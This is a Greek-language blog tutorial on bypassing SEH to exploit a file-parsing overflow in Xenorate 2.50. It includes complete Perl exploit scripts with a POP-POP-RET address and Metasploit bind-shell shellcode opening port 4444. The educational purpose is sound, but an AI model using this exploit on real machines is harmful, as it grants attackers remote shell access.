RSS

SEH Exploitation – Κοροϊδεύοντας το φύλακα!

19 Jul

Σε προηγούμενα άρθρα (1,2) καταφέραμε –σχετικά εύκολα– να ανακατευθύνουμε τη ροή του προγράμματος στο οποίο επιτεθήκαμε, με αποτέλεσμα να εκτελέσουμε επιτυχώς δικό μας κακόβουλο κώδικα (shellcode).

Αυτό έγινε πολύ απλά, τροποποιώντας τον EIP register (τον register δηλαδή, ο οποίος περιέχει την διεύθυνση του επόμενου προς εκτέλεση instruction). Τα πράγματα όμως δεν είναι πάντα τοσο… ρόδινα!

Εισαγωγή

Όταν μια εφαρμογή υπολειτουργεί, σκάει ή γενικότερα δεν συμπεριφέρεται φυσιολογικά προκαλείται ένα exception (εξαίρεση), μία ένδειξη δηλαδή ότι υπάρχει κάποιο λάθος κατά την εκτέλεση του προγράμματος. Τότε το λειτουργικό σύστημα καλεί έναν μηχανισμό διαχείρισης των exceptions, το λεγόμενο Structured Exception Handler (SEH εν συντομία). Ο μηχανισμός SEH, αναλαμβάνει να αντιμετωπίσει το πρόβλημα που προέκυψε, περιορίζοντας τις όποιες συνέπειες πιθανώς προκλήθηκαν απ’ τη δυσλειτουργία της εφαρμογής ή τερματίζοντας την με ελεγχόμενο τρόπο!

Στο παρόν άρθρο λοιπόν, θα δοκιμάσουμε να κάνουμε τα πράγματα λίγο πιο δύσκολα σε σχεση με τα προιγούμενα, προσπαθώντας να παρακάμψουμε τον μηχανισμό προστασίας SEH (Structured Exception Handler).

Για το εγχείρημα μας αυτό, θα χρειαστούμε :

  • Ένα (εικονικό) μηχάνημα Windows XP SP3 English.
  • Τον Immunity Debugger (μαζί με το plugin mona.py)
  • Την ευπαθή εφαρμογή Xenorate 2.50. Το exploit της εφαρμογής υπάρχει ήδη στο metasploit!

Το σκάσιμο της εφαρμογής.

Μετά απο μερικά tests ανακαλύψαμε ότι αν εισάγουμε ένα μεγάλο αρχείο τυπου “.xpl” στην εφαρμογή “Xenorate 2.50” αυτή δε μπορεί να το διαχειριστεί σωστά και σκάει .Έτσι, δημιουργούμε ένα απλό script σε perl (poc.pl) το οποίο όταν εκτελεστεί θα κατασκευάσει για εμάς το αρχείο “evil.xpl”, το οποίο μέσα περιέχει τα 1000 bytes:

$file	= "evil.xpl"; 	# The file name
$junk	= "\x41"x 1000; # Junk 1000 bytes
open($File,">$file");
print $File $junk;
close($File);

Έτσι, εκτελούμε την εφαρμογή “Xenorate 2.50” και την κάνουμε attach στον Immunity Debugger. Δοκιμάζουμε να την crashάρουμε κάνοντας drag-and-drop στην playlist το αρχείο evil.xpl, που δημιουργήθηκε απ’ την εκτέλεση του script poc.pl

Όπως παρατηρούμε στην εικόνα η εφαρμογή έχει σκάσει αλλά δε φαίνεται να έχουμε καταφέρει να επεγράψουμε τον EIP register όπως κάναμε στα προηγούμενα (1,2) άρθρα. Αυτό προφανώς, οφείλεται στον μηχανισμό SEH που προστατεύει την εγγραφή του EIP. Αυτον το μηχανισμό θα πρέπει να παρακάμψουμε!

Η εμφάνιση του SEH Handler.

Πρώτο μας μέλημα είναι να ελέγξουμε το SEH Chain (“View –> SEH Chain” ή “Alt+S”). Εκεί παρατηρούμε ότι ο SEH Handler της εφαρμογής έχει επεγραφει επιτυχώς με 4 Α (41414141).

Έτσι πατώντας “Shift+F9” για να προσπεράσουμε το exception (όπου ο EIP register έδειχνε στο 00014564) βλέπουμε ότι τελικά τώρα ο EIP δείχνει στο 41414141 (δηλαδή τα A που του στείλαμε).

Τα επόμενα μας βήματα θα είναι να αναλύσουμε το πρόβλημα και φυσικά να γράψουμε ένα exploit για να εκμεταλλευτούμε το vulnerability.

Σε αντίθεση με τα προηγούμενα άρθρα εδώ δεν μας ενδιαφέρει να βρούμε στα πόσα bytes επεγράφουμε την τιμή του EIP register αλλά του SEH Handler. Βλέπουμε στη εικόνα απ’ το stack, ότι με τα 1000 “Α” που χρησημοποιήσαμε για να σκάσουμε την εφαρμογή έχουμε γράψει με “Α” τον Pointer to next SEH καθώς και το SEH Handler.

Έτσι, με τη βοήθεια του mona.py και μερικούς υπολογισμούς ανακαλύψαμε ότι :

  • O SEH Handler επεγραφεται στα 92 bytes.
  • O Pointer to Next SEH επεγραφεται στα (92 – 4 =)88 bytes

Αναπροσαρμόζουμε το exploit μας:

$file	= "evil.xpl"; 	# The file name
$junk 	= "\x41"x 88; 	# Junk 88 bytes
$nseh	= "\x42"x 4;    # Pointer to next SEH
$seh 	= "\x43"x 4; 	# Seh
open($File,">$file");
print $File $junk.$nseh.$seh;
close($File);

…και το ξανά εκτελούμε.

Παρακάμπτοντας τον SEH Handler.

Για να παρακάμψουμε τον SEH Handler θα πρέπει:
Να εκτελέσουμε ένα μικρό άλμα (jmp short) ώστε να προσπεράσουμε τον SEH Handler. To “jmp short” ξεκινά με το “\xEB” και στη συνέχεια ακολουθεί η απόσταση (σε bytes) που θα διανύσει στη μνήμη. Στη περίπτωση μας, θέλουμε να προσπεράσουμε 6 bytes (\x06), τα 2 nops που ακολουθούν την εντολή (\x90\x90) και τα 4 bytes του SEH Handler. Ετσι η εντολή που θα εκτελεστεί στον Pointer to Next SEH θα είναι:

 "\xEB\x06\x90\x90" # Short (6 bytes) jump

Στη συνέχεια, θα πρέπει να επεγράψουμε το SEH Handler με την ακολουθία των εντολών POP, POP, RET από κάποιο executable module, το οποίο όμως δεν εχει μεταγλωτιστεί με ενεργοποιημένο το SafeSEH. Το SafeSEH ειναι μια λειτουργία του compiler (/safeSEH) η οποία χρησιμοποιείται για να blockάρει το SEH exploitation.Ουσιαστικά ο “Pointer to next SEH” ελεγχεται ως προς μια λίστα exception handlers και αν δεν ειναι στη λίστα απλά δεν εκτελείται!

Αναρωτιέστε τι ακριβώς εξυπηρετεί η ακολουθία των εντολών POP, POP, RET;

  • Το πρώτο POP, θα αφαιρέσει 4 bytes απο το stack.
  • Το δευτερο POP, θα αφαιρέσαι άλλα 4 bytes απο το stack.
  • Το τελευταίο RET, θα πάρει την τιμή που δείχνει ο ESP register και θα την τοποθετήσει στον EIP register ώστε να εκτελεστεί.

Για την εύρεση ενός executable module, το οποίο όμως δεν εχει μεταγλωτιστεί με ενεργοποιημένο το SafeSEH θα μας φανεί πολύ χρήσιμη η παρακάτω εντολή για το mona.py :

!mona nosafeseh.

Στη συνέχεια πατάμε “ALT+E” ώστε να φορτωθεί η λίστα με τα ενεργά executable modules.

Όσον αφορά τα executable modules, μια καλή ιδέα είναι να χρησιμοποιήσουμε με τις βιβλιοθήκες της εφαρμογής και όχι τις βιβλιοθήκες του συστήματος. Ο λόγος είναι ότι με την χρήση των εν λόγω βιβλιοθηκών το exploit, μπορεί να γίνει universal.

Για παράδειγμα, ας ρίξουμε μία ματιά στην εφαρμογη μας. Παρατηρούμε ότι, σε όποια έκδοση του λειτουργικού συστήματος Windows (ΧΡ/Vista/7) και να τρέξει η εφαρμογή, δεν αλλάζουν οι εκδόσεις αρκετών απ’ τα dll που χρησιμοποιεί (ούτε οι base addresses), σε αντίθεση τα dll του συστήματος όπως π.χ. kernel32.dll, user32.dll κτλ όπου αλλάζουν!

Ετσι, απ’ την λίστα με τα modules που μας εμφάνισε το mona.py επιλέγουμε το basscd.dll. Έπειτα, πατάμε “Ctrl+S” για να αναζητήσουμε την ακολουθία των εντολών POP, POP, RET που είπαμε πιο πριν.

POP r32
POP r32
RETN

Στη συνέχεια, θα εμφανιστεί η ακολουθία με τις εντολες POP, POP, RET που αναζητήθηκε στο basscd.dll.

Τελος, θα πρέπει να εισάγουμε το shellcode. Θα δοκιμάσουμε, να δημιουργήσουμε ένα shell_bind_tcp (με το metasploit) το οποιο –αν εκτελεστεί το exploit σωστά– θα ανοίξει την port 4444 στο μηχάνημα που τρέχει την εφαρμογή “Xenorate 2.50“.

root@bt:~# msfpayload windows/shell_bind_tcp EXITFUNC=seh R | msfencode -b '\x00\x0a' -e x86/shikata_ga_nai -t perl

[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)

my $buf =
"\xdb\xcf\xba\xa4\xbe\xa0\xf0\xd9\x74\x24\xf4\x5e\x33\xc9" .
"\xb1\x56\x31\x56\x18\x03\x56\x18\x83\xee\x58\x5c\x55\x0c" .
"\x48\x28\x96\xed\x88\x4b\x1e\x08\xb9\x59\x44\x58\xeb\x6d" .
"\x0e\x0c\x07\x05\x42\xa5\x9c\x6b\x4b\xca\x15\xc1\xad\xe5" .
"\xa6\xe7\x71\xa9\x64\x69\x0e\xb0\xb8\x49\x2f\x7b\xcd\x88" .
"\x68\x66\x3d\xd8\x21\xec\xef\xcd\x46\xb0\x33\xef\x88\xbe" .
"\x0b\x97\xad\x01\xff\x2d\xaf\x51\xaf\x3a\xe7\x49\xc4\x65" .
"\xd8\x68\x09\x76\x24\x22\x26\x4d\xde\xb5\xee\x9f\x1f\x84" .
"\xce\x4c\x1e\x28\xc3\x8d\x66\x8f\x3b\xf8\x9c\xf3\xc6\xfb" .
"\x66\x89\x1c\x89\x7a\x29\xd7\x29\x5f\xcb\x34\xaf\x14\xc7" .
"\xf1\xbb\x73\xc4\x04\x6f\x08\xf0\x8d\x8e\xdf\x70\xd5\xb4" .
"\xfb\xd9\x8e\xd5\x5a\x84\x61\xe9\xbd\x60\xde\x4f\xb5\x83" .
"\x0b\xe9\x94\xcb\xf8\xc4\x26\x0c\x96\x5f\x54\x3e\x39\xf4" .
"\xf2\x72\xb2\xd2\x05\x74\xe9\xa3\x9a\x8b\x11\xd4\xb3\x4f" .
"\x45\x84\xab\x66\xe5\x4f\x2c\x86\x30\xdf\x7c\x28\xea\xa0" .
"\x2c\x88\x5a\x49\x27\x07\x85\x69\x48\xcd\xb0\xad\x86\x35" .
"\x91\x59\xeb\xc9\x04\xc6\x62\x2f\x4c\xe6\x22\xe7\xf8\xc4" .
"\x10\x30\x9f\x37\x73\x6c\x08\xa0\xcb\x7a\x8e\xcf\xcb\xa8" .
"\xbd\x7c\x63\x3b\x35\x6f\xb0\x5a\x4a\xba\x90\x15\x73\x2d" .
"\x6a\x48\x36\xcf\x6b\x41\xa0\x6c\xf9\x0e\x30\xfa\xe2\x98" .
"\x67\xab\xd5\xd0\xed\x41\x4f\x4b\x13\x98\x09\xb4\x97\x47" .
"\xea\x3b\x16\x05\x56\x18\x08\xd3\x57\x24\x7c\x8b\x01\xf2" .
"\x2a\x6d\xf8\xb4\x84\x27\x57\x1f\x40\xb1\x9b\xa0\x16\xbe" .
"\xf1\x56\xf6\x0f\xac\x2e\x09\xbf\x38\xa7\x72\xdd\xd8\x48" .
"\xa9\x65\xe6\xb9\x63\x70\x7f\x60\x16\x39\x1d\x93\xcd\x7e" .
"\x18\x10\xe7\xfe\xdf\x08\x82\xfb\xa4\x8e\x7f\x76\xb4\x7a" .
"\x7f\x25\xb5\xae";

Είμαστε έτοιμοι να εκτελέσουμε το exploit μας!
Τροποποιούμε το αρχικό poc.pl exploit μας να μοιάζει με το παρακάτω και το εκτελούμε.

$file	= "evil.xpl"; 			# The file name
$junk 	= "\x41"x 88; 			# Junk bytes
$nseh	= "\xEB\x06\x90\x90";  	# Short (6 bytes) jump!
$seh 	= "\xB5\x12\x20\x10"; 	# POP ECX / POP ECX / RETN from basscd.dll (universal)
$nops 	= "\x90"x 10; 			# Nops for padding
#  windows/shell_bind_tcp – port 4444
$shellcode =
"\xdb\xcf\xba\xa4\xbe\xa0\xf0\xd9\x74\x24\xf4\x5e\x33\xc9" .
"\xb1\x56\x31\x56\x18\x03\x56\x18\x83\xee\x58\x5c\x55\x0c" .
"\x48\x28\x96\xed\x88\x4b\x1e\x08\xb9\x59\x44\x58\xeb\x6d" .
"\x0e\x0c\x07\x05\x42\xa5\x9c\x6b\x4b\xca\x15\xc1\xad\xe5" .
"\xa6\xe7\x71\xa9\x64\x69\x0e\xb0\xb8\x49\x2f\x7b\xcd\x88" .
"\x68\x66\x3d\xd8\x21\xec\xef\xcd\x46\xb0\x33\xef\x88\xbe" .
"\x0b\x97\xad\x01\xff\x2d\xaf\x51\xaf\x3a\xe7\x49\xc4\x65" .
"\xd8\x68\x09\x76\x24\x22\x26\x4d\xde\xb5\xee\x9f\x1f\x84" .
"\xce\x4c\x1e\x28\xc3\x8d\x66\x8f\x3b\xf8\x9c\xf3\xc6\xfb" .
"\x66\x89\x1c\x89\x7a\x29\xd7\x29\x5f\xcb\x34\xaf\x14\xc7" .
"\xf1\xbb\x73\xc4\x04\x6f\x08\xf0\x8d\x8e\xdf\x70\xd5\xb4" .
"\xfb\xd9\x8e\xd5\x5a\x84\x61\xe9\xbd\x60\xde\x4f\xb5\x83" .
"\x0b\xe9\x94\xcb\xf8\xc4\x26\x0c\x96\x5f\x54\x3e\x39\xf4" .
"\xf2\x72\xb2\xd2\x05\x74\xe9\xa3\x9a\x8b\x11\xd4\xb3\x4f" .
"\x45\x84\xab\x66\xe5\x4f\x2c\x86\x30\xdf\x7c\x28\xea\xa0" .
"\x2c\x88\x5a\x49\x27\x07\x85\x69\x48\xcd\xb0\xad\x86\x35" .
"\x91\x59\xeb\xc9\x04\xc6\x62\x2f\x4c\xe6\x22\xe7\xf8\xc4" .
"\x10\x30\x9f\x37\x73\x6c\x08\xa0\xcb\x7a\x8e\xcf\xcb\xa8" .
"\xbd\x7c\x63\x3b\x35\x6f\xb0\x5a\x4a\xba\x90\x15\x73\x2d" .
"\x6a\x48\x36\xcf\x6b\x41\xa0\x6c\xf9\x0e\x30\xfa\xe2\x98" .
"\x67\xab\xd5\xd0\xed\x41\x4f\x4b\x13\x98\x09\xb4\x97\x47" .
"\xea\x3b\x16\x05\x56\x18\x08\xd3\x57\x24\x7c\x8b\x01\xf2" .
"\x2a\x6d\xf8\xb4\x84\x27\x57\x1f\x40\xb1\x9b\xa0\x16\xbe" .
"\xf1\x56\xf6\x0f\xac\x2e\x09\xbf\x38\xa7\x72\xdd\xd8\x48" .
"\xa9\x65\xe6\xb9\x63\x70\x7f\x60\x16\x39\x1d\x93\xcd\x7e" .
"\x18\x10\xe7\xfe\xdf\x08\x82\xfb\xa4\x8e\x7f\x76\xb4\x7a" .
"\x7f\x25\xb5\xae";
open($File,">$file");
print $File $junk.$nseh.$seh.$nops.$shellcode;
close($File);

Για αρχή, δοκιμάζουμε να εκτελέσουμε το exploit στα Windows XP SP3.

Δοκιμάζουμε στη συνέχεια, να εκτελέσουμε το ίδιο exploit (χωρίς καμία αλλαγή) και σε Windows 7 Professional με SP1 και βλέπουμε ότι λειτουργεί!

Αντι Επιλόγου

Δοκιμάστε, να επαναλάβετε τα παραπάνω βήματα που περιγράψαμε για να παρακάμψουμε το SEH Handler και ξαναγράψετε το exploit.

 
Leave a comment

Posted by on July 19, 2012 in It's Greek to Me

 

Tags: , , , , , ,

Leave a comment